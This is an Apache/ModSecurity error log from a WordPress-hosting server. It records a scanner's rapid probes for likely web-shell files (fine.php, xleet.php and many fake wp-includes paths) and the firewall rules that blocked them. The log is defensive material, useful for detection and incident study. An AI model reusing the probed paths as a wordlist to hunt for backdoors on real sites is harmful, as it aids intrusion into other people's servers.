[Thu Apr 09 16:09:12.047151 2026] [:error] [pid 18477:tid 18501] [client 20.215.65.153:64864] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "addeqMDe826HlFeoLPI89wAAAVY"]
[Thu Apr 09 16:09:12.771465 2026] [:error] [pid 18477:tid 18496] [client 20.215.65.153:64900] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "addeqMDe826HlFeoLPI8-QAAAVE"]
[Thu Apr 09 16:09:13.412866 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:63665] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "addeqcDe826HlFeoLPI8-gAAAUk"]
[Thu Apr 09 16:09:14.184526 2026] [:error] [pid 20837:tid 20855] [client 20.215.65.153:64274] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zample.php"] [unique_id "addeqvSL71FHZkjrGzOvqwAAAZA"]
[Thu Apr 09 16:09:14.225376 2026] [:error] [pid 20837:tid 20845] [client 216.24.210.18:56129] [client 216.24.210.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "addeqvSL71FHZkjrGzOvrAAAAYY"]
[Thu Apr 09 16:09:14.857698 2026] [:error] [pid 20837:tid 20844] [client 20.215.65.153:64256] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zample.php"] [unique_id "addeqvSL71FHZkjrGzOvrQAAAYU"]
[Thu Apr 09 16:09:15.067755 2026] [:error] [pid 24624:tid 24638] [client 216.24.210.32:30371] File does not exist: /usr/local/apache/htdocs/suspended-page/xex.php
[Thu Apr 09 16:09:15.248380 2026] [:error] [pid 24624:tid 24634] [client 216.24.210.32:30371] [client 216.24.210.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/about.php"] [unique_id "addeq-4Jn-WvK1ZBTviVeAAAAMg"]
[Thu Apr 09 16:09:15.576841 2026] [:error] [pid 24516:tid 24565] [client 20.215.65.153:63618] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zample.php"] [unique_id "addeq9hW7vSS-UkeWCUHlgAAAFI"]
[Thu Apr 09 16:09:16.266481 2026] [:error] [pid 18477:tid 18485] [client 20.215.65.153:65472] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zample.php"] [unique_id "adderMDe826HlFeoLPI9AQAAAUY"]
[Thu Apr 09 16:09:16.609200 2026] [:error] [pid 18477:tid 18484] [client 216.24.210.20:24953] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Thu Apr 09 16:09:17.182850 2026] [:error] [pid 18477:tid 18494] [client 216.24.210.20:24953] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Thu Apr 09 16:09:17.353067 2026] [:error] [pid 18477:tid 18487] [client 216.24.210.20:24953] [client 216.24.210.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "addercDe826HlFeoLPI9CQAAAUg"]
[Thu Apr 09 16:09:17.631522 2026] [:error] [pid 24517:tid 24584] [client 20.215.65.153:64956] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "adderXboYEn2ZFM_PS9fegAAAIo"]
[Thu Apr 09 16:09:18.268125 2026] [:error] [pid 24624:tid 24636] [client 20.215.65.153:64281] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "adderu4Jn-WvK1ZBTviVfQAAAMo"]
[Thu Apr 09 16:09:18.721618 2026] [:error] [pid 24624:tid 24645] [client 216.24.210.19:26383] [client 216.24.210.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "adderu4Jn-WvK1ZBTviVgQAAANM"]
[Thu Apr 09 16:09:18.917062 2026] [:error] [pid 24624:tid 24630] [client 20.215.65.153:64300] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "adderu4Jn-WvK1ZBTviVggAAAMQ"]
[Thu Apr 09 16:09:19.629710 2026] [:error] [pid 24515:tid 24531] [client 20.215.65.153:64871] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "adder61OMnvM2fMnB1NNyAAAAAw"]
[Thu Apr 09 16:09:20.232035 2026] [:error] [pid 18477:tid 18480] [client 20.215.65.153:64873] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "addesMDe826HlFeoLPI9CwAAAUE"]
[Thu Apr 09 16:09:20.654954 2026] [:error] [pid 24624:tid 24632] [client 216.24.210.5:29047] [client 216.24.210.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "addesO4Jn-WvK1ZBTviVjAAAAMY"]
[Thu Apr 09 16:09:21.068288 2026] [:error] [pid 24624:tid 24648] [client 20.215.65.153:65520] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "addese4Jn-WvK1ZBTviVjgAAANY"]
[Thu Apr 09 16:09:21.685278 2026] [:error] [pid 24516:tid 24558] [client 20.215.65.153:65480] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "addesdhW7vSS-UkeWCUHmgAAAEs"]
[Thu Apr 09 16:09:22.750593 2026] [:error] [pid 24515:tid 24523] [client 20.215.65.153:63619] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "addesq1OMnvM2fMnB1NNywAAAAQ"]
[Thu Apr 09 16:09:23.432617 2026] [:error] [pid 24927:tid 24945] [client 20.215.65.153:63656] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "addeszXObuzEuw8mNJuhVwAAAQ8"]
[Thu Apr 09 16:09:23.462051 2026] [:error] [pid 20837:tid 20852] [client 216.24.210.3:50865] [client 216.24.210.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "addes_SL71FHZkjrGzOvswAAAY0"]
[Thu Apr 09 16:09:24.103313 2026] [:error] [pid 24517:tid 24578] [client 20.215.65.153:64869] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "addetHboYEn2ZFM_PS9fewAAAIQ"]
[Thu Apr 09 16:09:24.336766 2026] [:error] [pid 24624:tid 24644] [client 216.24.210.29:56653] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Thu Apr 09 16:09:24.506002 2026] [:error] [pid 24624:tid 24635] [client 216.24.210.29:56653] [client 216.24.210.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "addetO4Jn-WvK1ZBTviVkgAAAMk"]
[Thu Apr 09 16:09:24.695942 2026] [:error] [pid 24624:tid 24637] [client 20.215.65.153:64220] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "addetO4Jn-WvK1ZBTviVkwAAAMs"]
[Thu Apr 09 16:09:25.487715 2026] [:error] [pid 24517:tid 24597] [client 216.24.210.7:34213] [client 216.24.210.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "addetXboYEn2ZFM_PS9ffAAAAJc"]
[Thu Apr 09 16:09:25.487779 2026] [:error] [pid 24927:tid 24933] [client 20.215.65.153:64264] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "addetTXObuzEuw8mNJuhWAAAAQM"]
[Thu Apr 09 16:09:26.260114 2026] [:error] [pid 24516:tid 24569] [client 20.215.65.153:64932] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "addetthW7vSS-UkeWCUHnwAAAFY"]
[Thu Apr 09 16:09:27.323958 2026] [:error] [pid 24927:tid 24953] [client 216.24.210.13:41035] [client 216.24.210.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "addetzXObuzEuw8mNJuhZAAAARc"]
[Thu Apr 09 16:09:28.177075 2026] [:error] [pid 24624:tid 24636] [client 216.24.210.10:63425] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php
[Thu Apr 09 16:09:28.733691 2026] [:error] [pid 24515:tid 24529] [client 20.215.65.153:63046] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "addeuK1OMnvM2fMnB1NN3QAAAAo"]
[Thu Apr 09 16:09:28.890041 2026] [:error] [pid 24624:tid 24631] [client 216.24.210.10:63425] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-editor.php
[Thu Apr 09 16:09:29.063931 2026] [:error] [pid 24624:tid 24644] [client 216.24.210.10:63425] [client 216.24.210.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "addeue4Jn-WvK1ZBTviVngAAANI"]
[Thu Apr 09 16:09:29.386161 2026] [:error] [pid 24515:tid 24534] [client 20.215.65.153:62435] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "addeua1OMnvM2fMnB1NN4gAAAA8"]
[Thu Apr 09 16:09:29.972270 2026] [:error] [pid 24515:tid 24524] [client 20.215.65.153:64841] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "addeua1OMnvM2fMnB1NN5wAAAAU"]
[Thu Apr 09 16:09:30.065937 2026] [:error] [pid 24515:tid 24523] [client 216.24.210.31:28553] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfusm.php
[Thu Apr 09 16:09:30.427664 2026] [:error] [pid 24515:tid 24536] [client 216.24.210.31:28553] [client 216.24.210.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "addeuq1OMnvM2fMnB1NN6wAAABE"]
[Thu Apr 09 16:09:30.641292 2026] [:error] [pid 24927:tid 24951] [client 20.215.65.153:64876] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "addeujXObuzEuw8mNJuhdQAAARU"]
[Thu Apr 09 16:09:30.956484 2026] [:error] [pid 24515:tid 24534] [client 216.24.210.17:39137] [client 216.24.210.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "addeuq1OMnvM2fMnB1NN7QAAAA8"]
[Thu Apr 09 16:09:31.259064 2026] [:error] [pid 18477:tid 18492] [client 20.215.65.153:64315] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "addeu8De826HlFeoLPI9EgAAAU0"]
[Thu Apr 09 16:09:31.896193 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:63067] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "addeuzXObuzEuw8mNJuhdwAAAQI"]
[Thu Apr 09 16:09:31.997449 2026] [:error] [pid 24927:tid 24930] [client 173.239.218.18:24181] [client 173.239.218.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "addeuzXObuzEuw8mNJuheAAAAQA"]
[Thu Apr 09 16:09:32.521768 2026] [:error] [pid 24624:tid 24629] [client 20.215.65.153:64319] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "addevO4Jn-WvK1ZBTviVpAAAAMM"]
[Thu Apr 09 16:09:33.151126 2026] [:error] [pid 24624:tid 24628] [client 20.215.65.153:64317] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "addeve4Jn-WvK1ZBTviVpgAAAMI"]
[Thu Apr 09 16:09:33.304804 2026] [:error] [pid 24515:tid 24523] [client 216.24.210.38:61811] [client 216.24.210.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "addeva1OMnvM2fMnB1NN9AAAAAQ"]
[Thu Apr 09 16:09:33.887489 2026] [:error] [pid 18477:tid 18483] [client 20.215.65.153:63582] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "addevcDe826HlFeoLPI9FQAAAUQ"]
[Thu Apr 09 16:09:34.442353 2026] [:error] [pid 24515:tid 24531] [client 216.24.210.8:54289] [client 216.24.210.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "addevq1OMnvM2fMnB1NN9wAAAAw"]
[Thu Apr 09 16:09:34.639397 2026] [:error] [pid 18477:tid 18498] [client 20.215.65.153:64916] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "addevsDe826HlFeoLPI9GgAAAVM"]
[Thu Apr 09 16:09:35.607659 2026] [:error] [pid 24927:tid 24944] [client 216.24.210.38:49579] File does not exist: /usr/local/apache/htdocs/suspended-page/f35_SpaceTn.php
[Thu Apr 09 16:09:35.864450 2026] [:error] [pid 24927:tid 24940] [client 20.215.65.153:63019] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "addevzXObuzEuw8mNJuhgwAAAQo"]
[Thu Apr 09 16:09:36.405751 2026] [:error] [pid 24515:tid 24527] [client 20.215.65.153:64271] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "addewK1OMnvM2fMnB1NN_AAAAAg"]
[Thu Apr 09 16:09:36.494094 2026] [:error] [pid 24927:tid 24952] [client 216.24.210.38:49579] [client 216.24.210.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "addewDXObuzEuw8mNJuhiwAAARY"]
[Thu Apr 09 16:09:37.298473 2026] [:error] [pid 24927:tid 24945] [client 20.215.65.153:65522] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "addewTXObuzEuw8mNJuhjQAAAQ8"]
[Thu Apr 09 16:09:37.957326 2026] [:error] [pid 18477:tid 18482] [client 20.215.65.153:64217] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "addewcDe826HlFeoLPI9IwAAAUM"]
[Thu Apr 09 16:09:38.160640 2026] [:error] [pid 24624:tid 24650] [client 216.24.210.28:48929] [client 216.24.210.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "addewu4Jn-WvK1ZBTviVrAAAANg"]
[Thu Apr 09 16:09:38.735419 2026] [:error] [pid 24517:tid 24586] [client 20.215.65.153:65495] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "addewnboYEn2ZFM_PS9fgAAAAIw"]
